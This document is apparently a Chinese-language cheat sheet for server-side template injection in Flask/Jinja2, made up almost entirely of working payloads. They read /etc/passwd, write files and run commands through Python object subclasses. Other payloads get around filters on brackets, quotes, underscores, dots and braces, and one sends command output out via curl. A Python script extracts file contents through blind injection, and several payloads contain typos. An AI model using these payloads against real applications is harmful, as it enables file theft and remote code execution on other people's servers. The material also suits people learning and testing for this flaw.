Flask/Jiaja2 SSTI

  • SSTI,又称服务端模板注入攻击。其发生在MVC框架中的view层。

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

首先通过str、dict、tuple或list或者jinja2中的对象request获取python的基本类

object:

1
2
3
4
5
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

文件操作

object.__subclasses__()[40]为file类

读文件:

1
object.__subclasses__()[40]('/etc/passwd').read()

写文件:

1
object.__subclasses__()[40]('/tmp').write('test')

命令执行

  • object.__subclasses__()[59].__init__.func_globals.linecache下直接有os类

执行命令:

1
object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
1
object.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()
1
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
  • object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval__import__等的全局函数

执行命令:

1
object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import_('os').popen('id').read()")
1
object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os).popen('id').read()")
1
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os).popen('id').read()
1
object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popn('id').read()

绕过

  1. 过滤[]

读文件:

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

执行命令:

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
  1. 过滤'

读文件:

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request对象

1
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

执行命令:

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}

借助request对象

1
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
  1. 过滤__
1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
1
2
3
dir(0)[0][0]
dir(0)[0][0]*2
dir(0)[0][:2]
  1. 过滤.

getattr函数

1
2
3
4
5
6
>>> getattr((),"__class__")
<type 'tuple'>
>>> getattr(getattr((),"__class__"),"__base__")
<type 'object'>
>>> getattr(getattr((),"__class__"),"__mro__")[1]
<type 'object'>
  1. 过滤`{{`

用curl将执行结果带出

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

1
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
import requests


url = 'http://127.0.0.1:8080/'

def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password